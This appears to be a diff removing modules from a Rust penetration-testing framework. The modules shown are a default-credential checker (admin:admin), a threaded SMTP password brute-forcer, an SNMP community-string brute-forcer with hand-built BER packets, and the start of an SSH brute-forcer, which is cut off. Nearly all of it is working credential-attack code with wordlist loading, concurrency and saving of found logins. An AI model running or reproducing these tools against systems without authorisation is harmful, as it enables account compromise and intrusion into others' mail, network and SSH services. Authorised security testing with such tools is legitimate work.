(without_scheme.trim(), None)
};
if host_part.is_empty() {
return Err(anyhow!("Target host cannot be empty."));
}
let normalized_host = if host_part.starts_with('[') {
if host_part.contains("]:") {
host_part.to_string()
} else {
format!("{}:{}", host_part, default_port)
}
} else {
let colon_count = host_part.matches(':').count();
if colon_count == 0 {
format!("{}:{}", host_part, default_port)
} else if colon_count == 1 {
if let Some((host_only, port_str)) = host_part.rsplit_once(':') {
if port_str.parse::<u16>().is_ok() {
if host_only.contains(':') {
format!("[{}]:{}", host_only, port_str)
} else {
host_part.to_string()
}
} else {
format!("{}:{}", host_part, default_port)
}
} else {
format!("{}:{}", host_part, default_port)
}
} else {
format!("[{}]:{}", host_part, default_port)
}
};
let normalized_path = path_part.and_then(|p| {
let truncated = p.split(|c| c == '?' || c == '#').next().unwrap_or_default();
let trimmed = truncated.trim();
if trimmed.is_empty() || trimmed == "/" {
None
} else {
let mut path = trimmed.to_string();
if !path.starts_with('/') {
path.insert(0, '/');
}
Some(path)
}
});
Ok((normalized_host, normalized_path))
}
// ─── Prompt and utility functions unchanged ───────────────────────────────────
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
}
println!("{}", "This field is required.".yellow());
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() { default.to_string() } else { trimmed.to_string() })
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default).cyan().bold());
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
match s.trim().to_lowercase().as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
}
@@ -1,26 +0,0 @@
use anyhow::{Result, Context};
use reqwest;
/// A sample credential check - tries a basic auth login
pub async fn run(target: &str) -> Result<()> {
println!("[*] Checking default creds on: {}", target);
let url = format!("http://{}/login", target);
let client = reqwest::Client::new();
// Hypothetical login using "admin:admin"
let resp = client
.post(&url)
.basic_auth("admin", Some("admin"))
.send()
.await
.context("Failed to send login request")?;
if resp.status().is_success() {
println!("[+] Default credentials admin:admin are valid!");
} else {
println!("[-] Default credentials admin:admin failed.");
}
Ok(())
}
@@ -1,296 +0,0 @@
use anyhow::{anyhow, Context, Result};
use colored::Colorize;
use regex::Regex;
use std::fs::{File, OpenOptions};
use std::io::{self, BufRead, BufReader, Write};
use std::net::{TcpStream, ToSocketAddrs};
use std::path::Path;
use std::sync::{Arc, Mutex};
use std::sync::atomic::{AtomicBool, Ordering};
use std::time::Duration;
use telnet::{Telnet, Event};
use threadpool::ThreadPool;
use crossbeam_channel::unbounded;
#[derive(Clone)]
struct SmtpBruteforceConfig {
target: String,
port: u16,
username_wordlist: String,
password_wordlist: String,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
}
pub async fn run(target: &str) -> Result<()> {
println!("\n=== SMTP Bruteforce ===\n");
let port = prompt_port(25);
let username_wordlist = prompt_wordlist("Username wordlist file: ")?;
let password_wordlist = prompt_wordlist("Password wordlist file: ")?;
let threads = prompt_threads(8);
let stop_on_success = prompt_yes_no("Stop on first valid login?", true);
let full_combo = prompt_yes_no("Try every username with every password?", false);
let verbose = prompt_yes_no("Verbose mode?", false);
let config = SmtpBruteforceConfig {
target: target.to_string(),
port,
username_wordlist,
password_wordlist,
threads,
stop_on_success,
verbose,
full_combo,
};
run_smtp_bruteforce(config)
}
fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
let addr = normalize_target(&config.target, config.port)?;
let usernames = read_lines(&config.username_wordlist)?;
let passwords = read_lines(&config.password_wordlist)?;
if usernames.is_empty() || passwords.is_empty() {
return Err(anyhow!("Username or password wordlist is empty."));
}
println!("[*] Loaded {} username(s).", usernames.len());
println!("[*] Loaded {} password(s).", passwords.len());
let found = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(AtomicBool::new(false));
let pool = ThreadPool::new(config.threads);
let (tx, rx) = unbounded();
if config.full_combo {
for u in &usernames { for p in &passwords { tx.send((u.clone(), p.clone()))?; } }
} else if usernames.len() == 1 {
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
} else if passwords.len() == 1 {
for u in &usernames { tx.send((u.clone(), passwords[0].clone()))?; }
} else {
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
}
drop(tx);
for _ in 0..config.threads {
let rx = rx.clone();
let addr = addr.clone();
let stop_flag = Arc::clone(&stop_flag);
let found = Arc::clone(&found);
let config = config.clone();
pool.execute(move || {
while let Ok((user, pass)) = rx.recv() {
if stop_flag.load(Ordering::Relaxed) { break; }
if config.verbose { println!("[*] {}:{}", user, pass); }
match try_smtp_login(&addr, &user, &pass) {
Ok(true) => {
println!("[+] VALID: {}:{}", user, pass);
let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
if config.stop_on_success {
stop_flag.store(true, Ordering::Relaxed);
while rx.try_recv().is_ok() {}
break;
}
}
Ok(false) => {}
Err(e) => if config.verbose { eprintln!("[!] {}:{}: {}", user, pass, e); },
}
}
});
}
pool.join();
let found = found.lock().unwrap();
if found.is_empty() {
println!("[-] No valid credentials.");
} else {
println!("[+] Found:");
for (u,p) in found.iter() { println!("{}:{}", u, p); }
if prompt("Save found? (y/n): ").trim().eq_ignore_ascii_case("y") {
let f = prompt("Filename: ");
save_results(&f, &found)?;
println!("[+] Saved to {}", f);
}
}
Ok(())
}
/// Try login with both AUTH PLAIN and AUTH LOGIN, returns Ok(true) if success, Ok(false) if auth fail, Err on connection/protocol error.
fn try_smtp_login(addr: &str, username: &str, password: &str) -> Result<bool> {
use base64::{engine::general_purpose, Engine as _};
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(1500)).context("Connect timeout")?;
stream.set_read_timeout(Some(Duration::from_millis(1500))).ok();
stream.set_write_timeout(Some(Duration::from_millis(1500))).ok();
let mut telnet = Telnet::from_stream(Box::new(stream), 256);
let mut banner_ok = false;
for _ in 0..3 {
let event = telnet.read().context("Banner read error")?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("220") { banner_ok = true; break; }
}
}
if !banner_ok { return Err(anyhow::anyhow!("No 220 banner")); }
telnet.write(b"EHLO scanner\r\n")?;
let mut login_ok = false;
let mut plain_ok = false;
let mut ehlo_seen = false;
let mut buf = String::new();
for _ in 0..6 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
buf.push_str(&s);
if s.contains("AUTH") && s.contains("PLAIN") { plain_ok = true; }
if s.contains("AUTH") && s.contains("LOGIN") { login_ok = true; }
if s.starts_with("250 ") { ehlo_seen = true; break; }
}
}
if !ehlo_seen { return Ok(false); }
// Try AUTH PLAIN
if plain_ok {
let mut blob = vec![0];
blob.extend(username.as_bytes()); blob.push(0); blob.extend(password.as_bytes());
let cmd = format!("AUTH PLAIN {}\r\n", general_purpose::STANDARD.encode(&blob));
telnet.write(cmd.as_bytes())?;
for _ in 0..2 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
if s.starts_with("535") || s.starts_with("5") { break; }
}
}
}
// Try AUTH LOGIN
if login_ok {
telnet.write(b"AUTH LOGIN\r\n")?;
let mut expect_user = false;
for _ in 0..2 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("334") { expect_user = true; break; }
}
}
if !expect_user { return Ok(false); }
let ucmd = format!("{}\r\n", general_purpose::STANDARD.encode(username.as_bytes()));
telnet.write(ucmd.as_bytes())?;
let mut expect_pass = false;
for _ in 0..2 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("334") { expect_pass = true; break; }
}
}
if !expect_pass { return Ok(false); }
let pcmd = format!("{}\r\n", general_purpose::STANDARD.encode(password.as_bytes()));
telnet.write(pcmd.as_bytes())?;
for _ in 0..2 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
if s.starts_with("535") || s.starts_with("5") { break; }
}
}
}
Ok(false)
}
fn read_lines(path: &str) -> Result<Vec<String>> {
let file = File::open(path).context(format!("Open: {}", path))?;
Ok(BufReader::new(file).lines().filter_map(Result::ok).filter(|s|!s.trim().is_empty()).collect())
}
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
for (u,p) in creds { writeln!(file, "{}:{}", u, p)?; }
Ok(())
}
fn prompt(msg: &str) -> String {
print!("{}", msg);
if let Err(e) = io::stdout().flush() {
eprintln!("[!] Failed to flush stdout: {}", e);
}
let mut b = String::new();
match io::stdin().read_line(&mut b) {
Ok(_) => b.trim().to_string(),
Err(e) => {
eprintln!("[!] Failed to read input: {}", e);
String::new()
}
}
}
fn prompt_port(default: u16) -> u16 {
loop {
let input = prompt(&format!("Port (default {}): ", default));
if input.is_empty() {
return default;
}
match input.parse::<u16>() {
Ok(0) => println!("[!] Port cannot be zero. Please enter a value between 1 and 65535."),
Ok(port) => return port,
Err(_) => println!("[!] Invalid port. Please enter a number between 1 and 65535."),
}
}
}
fn prompt_threads(default: usize) -> usize {
loop {
let input = prompt(&format!("Threads (default {}): ", default));
if input.is_empty() {
return default.max(1);
}
if let Ok(value) = input.parse::<usize>() {
if value >= 1 && value <= 1024 {
return value;
}
}
println!("[!] Invalid thread count. Please enter a value between 1 and 1024.");
}
}
fn prompt_yes_no(message: &str, default_yes: bool) -> bool {
let default_char = if default_yes { "y" } else { "n" };
loop {
let input = prompt(&format!("{} (y/n) [{}]: ", message, default_char));
if input.is_empty() {
return default_yes;
}
match input.to_lowercase().as_str() {
"y" | "yes" => return true,
"n" | "no" => return false,
_ => println!("[!] Please respond with y or n."),
}
}
}
fn prompt_wordlist(message: &str) -> Result<String> {
loop {
let response = prompt(message);
if response.is_empty() {
println!("[!] Path cannot be empty.");
continue;
}
let trimmed = response.trim();
if Path::new(trimmed).is_file() {
return Ok(trimmed.to_string());
} else {
println!(
"{}",
format!("File '{}' does not exist or is not a regular file.", trimmed).yellow()
);
}
}
}
fn normalize_target(host: &str, port: u16) -> Result<String> {
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$" ).unwrap();
let t = host.trim();
let cap = re.captures(t).ok_or_else(|| anyhow::anyhow!("Invalid target: {}", host))?;
let addr = cap.get(1).unwrap().as_str();
let p = cap.get(2).map(|m| m.as_str().parse::<u16>().ok()).flatten().unwrap_or(port);
let f = if addr.contains(':') && !addr.starts_with('[') { format!("[{}]:{}", addr, p) } else { format!("{}:{}", addr, p) };
if f.to_socket_addrs()?.next().is_none() { Err(anyhow::anyhow!("DNS fail: {}", f)) } else { Ok(f) }
}
@@ -1,643 +0,0 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::{SocketAddr, UdpSocket},
path::{Path, PathBuf},
sync::Arc,
time::Duration,
};
use std::sync::atomic::{AtomicBool, Ordering};
use regex::Regex;
use tokio::{sync::Mutex, task::spawn_blocking, time::sleep};
pub async fn run(target: &str) -> Result<()> {
println!("=== SNMPv1 & SNMPv2c Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("SNMP Port", "161")?;
match input.trim().parse::<u16>() {
Ok(p) if p > 0 => break p,
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
}
};
let communities_file = loop {
let input = prompt_required("Community string wordlist file path")?;
let path = Path::new(&input);
if !path.exists() {
println!("{}", format!("File '{}' does not exist.", input).yellow());
println!("{}", "Tip: Common SNMP community wordlists are at /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt".yellow());
continue;
}
if !path.is_file() {
println!("{}", format!("'{}' is not a regular file.", input).yellow());
continue;
}
// Check if file is readable
match File::open(path) {
Ok(_) => break input,
Err(e) => {
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
continue;
}
}
};
let snmp_version = loop {
let input = prompt_default("SNMP Version (1 or 2c)", "2c")?;
match input.trim().to_lowercase().as_str() {
"1" => break 0, // SNMPv1
"2c" | "2" => break 1, // SNMPv2c
_ => println!("Invalid version. Enter '1' or '2c'."),
}
};
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "50")?;
match input.trim().parse::<usize>() {
Ok(n) if n > 0 && n <= 10000 => break n,
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "snmp_brute_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let timeout_secs: u64 = loop {
let input = prompt_default("Timeout (seconds)", "3")?;
match input.trim().parse::<u64>() {
Ok(n) if n > 0 && n <= 300 => break n,
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
}
};
let connect_addr = normalize_target(target, port)?;
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
println!("\n[*] Starting SNMP brute-force on {}", connect_addr);
println!("[*] SNMP Version: {}", if snmp_version == 0 { "v1" } else { "v2c" });
let communities = load_lines(&communities_file)?;
if communities.is_empty() {
println!("[!] Community wordlist is empty or invalid. Exiting.");
return Ok(());
}
let communities = Arc::new(communities);
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
for community in communities.iter() {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let addr_clone = connect_addr.clone();
let community_clone = community.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let stop_flag = stop_on_success;
let verbose_flag = verbose;
let version = snmp_version;
let timeout = Duration::from_secs(timeout_secs);
tasks.push(tokio::spawn(async move {
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_snmp_community(&addr_clone, &community_clone, version, timeout).await {
Ok(true) => {
println!("[+] {} -> community: '{}'", addr_clone, community_clone);
found_clone
.lock()
.await
.push((addr_clone.clone(), community_clone.clone()));
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
log(verbose_flag, &format!("[-] {} -> community: '{}'", addr_clone, community_clone));
}
Err(e) => {
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
}
}
sleep(Duration::from_millis(10)).await;
}));
if tasks.len() >= concurrency {
if let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
}
}
while let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No valid community strings found.");
} else {
println!("\n[+] Valid community strings:");
for (host, community) in creds.iter() {
println!(" {} -> community: '{}'", host, community);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
let mut file = File::create(&filename)?;
for (host, community) in creds.iter() {
writeln!(file, "{} -> community: '{}'", host, community)?;
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
async fn try_snmp_community(
normalized_addr: &str,
community: &str,
version: u8, // 0 = v1, 1 = v2c
timeout: Duration,
) -> Result<bool> {
let community_owned = community.to_string();
let addr_owned = normalized_addr.to_string();
let result = spawn_blocking(move || -> Result<bool, anyhow::Error> {
// Parse the address
let addr: SocketAddr = addr_owned
.parse()
.map_err(|e| anyhow!("Invalid address '{}': {}", addr_owned, e))?;
// Create UDP socket
let socket = UdpSocket::bind("0.0.0.0:0")
.map_err(|e| anyhow!("Failed to bind socket: {}", e))?;
socket
.set_read_timeout(Some(timeout))
.map_err(|e| anyhow!("Failed to set read timeout: {}", e))?;
// Build SNMP GET request manually
// OID: 1.3.6.1.2.1.1.1.0 (sysDescr)
let message = build_snmp_get_request(&community_owned, version);
// Send request
socket
.send_to(&message, &addr)
.map_err(|e| anyhow!("Failed to send SNMP request: {}", e))?;
// Receive response
let mut buf = vec![0u8; 4096];
let result: bool = match socket.recv_from(&mut buf) {
Ok((size, _)) => {
let response = &buf[..size];
// Parse SNMP response to verify it's valid
// A valid SNMP response should:
// 1. Start with 0x30 (SEQUENCE)
// 2. Contain version, community, and PDU
// 3. Have error status = 0 (noError) in the response PDU
if size >= 20 && response[0] == 0x30 {
// Try to parse the response to check error status
// If we can parse it and error status is 0, it's valid
match parse_snmp_response(response) {
Ok(true) => true, // Valid community string
Ok(false) => false, // Invalid community (error in response)
Err(_) => {
// Can't parse, but got a response - might be valid
// Some devices send malformed responses but still indicate valid community
true
}
}
} else {
// Malformed response - likely invalid
false
}
}
Err(e) => {
// Handle timeout and EAGAIN/EWOULDBLOCK errors as invalid community
// EAGAIN (os error 11) can occur on Linux when socket would block
let error_kind = e.kind();
if error_kind == std::io::ErrorKind::TimedOut
|| error_kind == std::io::ErrorKind::WouldBlock
|| e.raw_os_error() == Some(11) // EAGAIN on Linux
|| e.raw_os_error() == Some(35) // EAGAIN on macOS
{
// Timeout or would block - community string is likely invalid
false
} else {
// Other errors might be transient, but log them
// For now, treat as invalid to avoid false positives
false
}
}
};
Ok(result)
})
.await
.map_err(|e| anyhow!("Task join error: {}", e))?;
result
}
/// Parses SNMP response to check if error status is 0 (noError)
/// Returns Ok(true) if valid, Ok(false) if error status != 0, Err if can't parse
fn parse_snmp_response(response: &[u8]) -> Result<bool> {
if response.len() < 20 || response[0] != 0x30 {
return Err(anyhow!("Invalid SNMP response header"));
}
// Try to find the PDU (GetResponse-PDU = 0xa2)
// The structure is: SEQUENCE (version, community, PDU)
// We need to skip version and community to get to the PDU
let mut pos = 1;
// Skip length of outer SEQUENCE
if pos >= response.len() {
return Err(anyhow!("Response too short"));
}
let (_len, len_bytes) = parse_ber_length(&response[pos..])?;
pos += len_bytes;
// Skip version (INTEGER)
if pos >= response.len() || response[pos] != 0x02 {
return Err(anyhow!("Invalid version field"));
}
pos += 1;
let (vlen, vlen_bytes) = parse_ber_length(&response[pos..])?;
pos += vlen_bytes + vlen;
// Skip community (OCTET STRING)
if pos >= response.len() || response[pos] != 0x04 {
return Err(anyhow!("Invalid community field"));
}
pos += 1;
let (clen, clen_bytes) = parse_ber_length(&response[pos..])?;
pos += clen_bytes + clen;
// Now we should be at the PDU
// GetResponse-PDU = 0xa2, GetRequest-PDU = 0xa0
if pos >= response.len() {
return Err(anyhow!("Response too short for PDU"));
}
let pdu_tag = response[pos];
if pdu_tag != 0xa2 && pdu_tag != 0xa0 {
// Not a GetResponse or GetRequest, might be an error
return Ok(false);
}
pos += 1;
let (_pdu_len, pdu_len_bytes) = parse_ber_length(&response[pos..])?;
pos += pdu_len_bytes;
// PDU structure: request-id, error-status, error-index, variable-bindings
// Skip request-id (INTEGER)
if pos >= response.len() || response[pos] != 0x02 {
return Err(anyhow!("Invalid request-id field"));
}
pos += 1;
let (rid_len, rid_len_bytes) = parse_ber_length(&response[pos..])?;
pos += rid_len_bytes + rid_len;
// Read error-status (INTEGER)
if pos >= response.len() || response[pos] != 0x02 {
return Err(anyhow!("Invalid error-status field"));
}
pos += 1;
let (es_len, es_len_bytes) = parse_ber_length(&response[pos..])?;
if es_len == 0 || pos + es_len_bytes + es_len > response.len() {
return Err(anyhow!("Invalid error-status length"));
}
// Read the error status value
let error_status = if es_len == 1 {
response[pos + es_len_bytes] as u32
} else {
// Multi-byte integer (shouldn't happen for error status, but handle it)
let mut val = 0u32;
for i in 0..es_len {
val = (val << 8) | (response[pos + es_len_bytes + i] as u32);
}
val
};
// Error status 0 = noError, anything else is an error
Ok(error_status == 0)
}
/// Parses BER length field
/// Returns (length_value, number_of_bytes_consumed)
fn parse_ber_length(data: &[u8]) -> Result<(usize, usize)> {
if data.is_empty() {
return Err(anyhow!("Empty length field"));
}
let first_byte = data[0];
if (first_byte & 0x80) == 0 {
// Short form: single byte
Ok((first_byte as usize, 1))
} else {
// Long form: first byte indicates number of length bytes
let num_bytes = (first_byte & 0x7F) as usize;
if num_bytes == 0 {
return Err(anyhow!("Indefinite length not supported"));
}
if num_bytes > 4 {
return Err(anyhow!("Length field too large"));
}
if data.len() < 1 + num_bytes {
return Err(anyhow!("Not enough bytes for length field"));
}
let mut length = 0usize;
for i in 0..num_bytes {
length = (length << 8) | (data[1 + i] as usize);
}
Ok((length, 1 + num_bytes))
}
}
/// Builds a simple SNMP GET request packet manually
/// This is a simplified implementation that creates a basic SNMPv1/v2c GET request
fn build_snmp_get_request(community: &str, version: u8) -> Vec<u8> {
// Build components first, then assemble with proper length encoding
// OID for sysDescr: 1.3.6.1.2.1.1.1.0
let oid_encoded = encode_oid_value(&[1, 3, 6, 1, 2, 1, 1, 1, 0]);
let oid_tlv = build_tlv(0x06, &oid_encoded); // 0x06 = OBJECT IDENTIFIER
// NULL value
let null_tlv = vec![0x05, 0x00]; // NULL type, length 0
// VarBind: SEQUENCE of (OID, NULL)
let mut var_bind = Vec::new();
var_bind.extend_from_slice(&oid_tlv);
var_bind.extend_from_slice(&null_tlv);
let var_bind_tlv = build_tlv(0x30, &var_bind); // 0x30 = SEQUENCE
// VarBindList: SEQUENCE of VarBind
let mut var_bind_list_content = Vec::new();
var_bind_list_content.extend_from_slice(&var_bind_tlv);
let var_bind_list_tlv = build_tlv(0x30, &var_bind_list_content); // 0x30 = SEQUENCE
// Request ID
let request_id_tlv = encode_integer_tlv(1u32);
// Error status (0 = noError)
let error_status_tlv = encode_integer_tlv(0u32);
// Error index (0 = noError)
let error_index_tlv = encode_integer_tlv(0u32);
// PDU: GetRequest-PDU
let mut pdu_content = Vec::new();
pdu_content.extend_from_slice(&request_id_tlv);
pdu_content.extend_from_slice(&error_status_tlv);
pdu_content.extend_from_slice(&error_index_tlv);
pdu_content.extend_from_slice(&var_bind_list_tlv);
let pdu_tlv = build_tlv(0xa0, &pdu_content); // 0xa0 = GetRequest-PDU
// Version
let version_tlv = encode_integer_tlv(version as u32);
// Community string
let community_bytes = community.as_bytes();
let community_tlv = build_tlv(0x04, community_bytes); // 0x04 = OCTET STRING
// SNMP Message: SEQUENCE of (version, community, PDU)
let mut message_content = Vec::new();
message_content.extend_from_slice(&version_tlv);
message_content.extend_from_slice(&community_tlv);
message_content.extend_from_slice(&pdu_tlv);
let message = build_tlv(0x30, &message_content); // 0x30 = SEQUENCE
message
}
/// Builds a TLV (Type-Length-Value) structure
fn build_tlv(tag: u8, value: &[u8]) -> Vec<u8> {
let mut result = Vec::new();
result.push(tag);
let length = value.len();
if length < 128 {
// Short form: single byte length
result.push(length as u8);
} else {
// Long form: first byte is 0x80 | num_bytes, followed by length bytes (big-endian)
// Calculate how many bytes we need for the length
let mut len = length;
let mut num_bytes = 0;
let mut len_bytes = Vec::new();
while len > 0 {
len_bytes.push((len & 0xFF) as u8);
len >>= 8;
num_bytes += 1;
}
// Reverse to get big-endian representation
len_bytes.reverse();
// First byte: 0x80 | number of length bytes
result.push(0x80 | (num_bytes as u8));
result.extend_from_slice(&len_bytes);
}
result.extend_from_slice(value);
result
}
/// Encodes an integer as a TLV (signed integer, but we use it for unsigned values)
fn encode_integer_tlv(value: u32) -> Vec<u8> {
let mut bytes = Vec::new();
if value == 0 {
bytes.push(0);
} else {
let mut val = value;
// Encode as big-endian, using minimum number of bytes
// For values that would have high bit set, we need an extra zero byte
// to ensure it's interpreted as positive
while val > 0 {
bytes.push((val & 0xFF) as u8);
val >>= 8;
}
bytes.reverse();
// If high bit is set, prepend 0x00 to make it positive
if bytes[0] & 0x80 != 0 {
bytes.insert(0, 0x00);
}
}
build_tlv(0x02, &bytes) // 0x02 = INTEGER
}
/// Encodes OID value (without the TLV wrapper)
fn encode_oid_value(oid: &[u32]) -> Vec<u8> {
let mut encoded = Vec::new();
if oid.len() >= 2 {
// First two sub-identifiers are encoded as: first * 40 + second
encoded.push((oid[0] * 40 + oid[1]) as u8);
for &sub_id in &oid[2..] {
encode_sub_id(sub_id, &mut encoded);
}
}
encoded
}
/// Encodes a sub-identifier using base-128 encoding
fn encode_sub_id(mut value: u32, output: &mut Vec<u8>) {
let mut bytes = Vec::new();
if value == 0 {
bytes.push(0);
} else {
while value > 0 {
bytes.push((value & 0x7F) as u8);
value >>= 7;
}
bytes.reverse();
// Set high bit on all but last byte
for i in 0..bytes.len() - 1 {
bytes[i] |= 0x80;
}
}
output.extend_from_slice(&bytes);
}
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
let trimmed = host.trim();
let caps = re
.captures(trimmed)
.ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
let addr = caps.name("addr").unwrap().as_str();
let port = if let Some(m) = caps.name("port") {
m.as_str()
.parse::<u16>()
.map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
} else {
default_port
};
let formatted = if addr.contains(':') && !addr.contains('.') {
format!("[{}]:{}", addr, port)
} else {
format!("{}:{}", addr, port)
};
// Validate that the address can be resolved
formatted
.parse::<std::net::SocketAddr>()
.map_err(|e| anyhow!("Could not parse address '{}': {}", formatted, e))?;
Ok(formatted)
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("{}", "This field is required.".yellow());
}
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|l| !l.trim().is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path_candidate = Path::new(input_path_str)
.file_name()
.map(|os_str| os_str.to_string_lossy())
.filter(|s_cow| !s_cow.is_empty() && s_cow != "." && s_cow != "..")
.map(|s_cow| s_cow.into_owned())
.unwrap_or_else(|| "snmp_brute_results.txt".to_string());
PathBuf::from(format!("./{}", path_candidate))
}
-311
View File
@@ -1,311 +0,0 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use ssh2::Session;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::{TcpStream, ToSocketAddrs},
path::{Path, PathBuf},
sync::Arc,
};
use std::sync::atomic::{AtomicBool, Ordering};
use regex::Regex;
use tokio::{sync::Mutex, task::spawn_blocking, time::{sleep, Duration}};
pub async fn run(target: &str) -> Result<()> {
println!("=== SSH Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("SSH Port", "22")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
};
let usernames_file = prompt_existing_file("Username wordlist")?;
let passwords_file = prompt_existing_file("Password wordlist")?;
